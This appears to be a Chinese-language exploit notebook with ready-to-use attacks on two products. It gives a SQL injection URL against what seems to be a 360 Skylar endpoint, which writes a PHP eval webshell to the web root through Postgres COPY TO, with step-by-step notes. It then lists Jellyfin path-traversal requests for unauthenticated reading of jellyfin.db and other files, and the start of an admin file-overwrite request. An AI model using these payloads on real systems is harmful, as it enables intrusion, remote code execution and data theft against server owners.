https://192.168.24.196:8443/api/dp/rptsvcsyncpoint?ccid=1';create table O(T TEXT);insert into O(T) values('<?php @eval($_POST[1]);?>');copy O(T) to 'C:\Program Files (x86)\360\skylar6\www\1.php';drop table O;--
利用过程:
通过安装包安装的一般都有root权限,因此该注入点可尝试写shell
通过注入点,创建一张表 O
为 表O 添加一个新字段 T 并且写入shell内容
Postgres数据库 使用COPY TO把一个表的所有内容都拷贝到一个文件(完成写shell)
删除 表O
webshell路径: https://192.168.24.196:8443/1.php
Jellyfin任意文件读取
只适用Windows
1 2 3 4 5 6 7 8 9 10 11 12
# 未授权下载(数据库文件:jellyfin.db) GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
# 未授权的任意文件读取 (数据库文件:jellyfin.db) GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1
# 未授权的任意文件读取(数据库文件:jellyfin.db) GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1
# 未授权下载任意图片(假设图片路径 c:\temp\filename.jpg ) GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1 GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1
任意文件覆盖,需要管理员权限
1 2 3 4 5 6
POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1 ... X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..." ...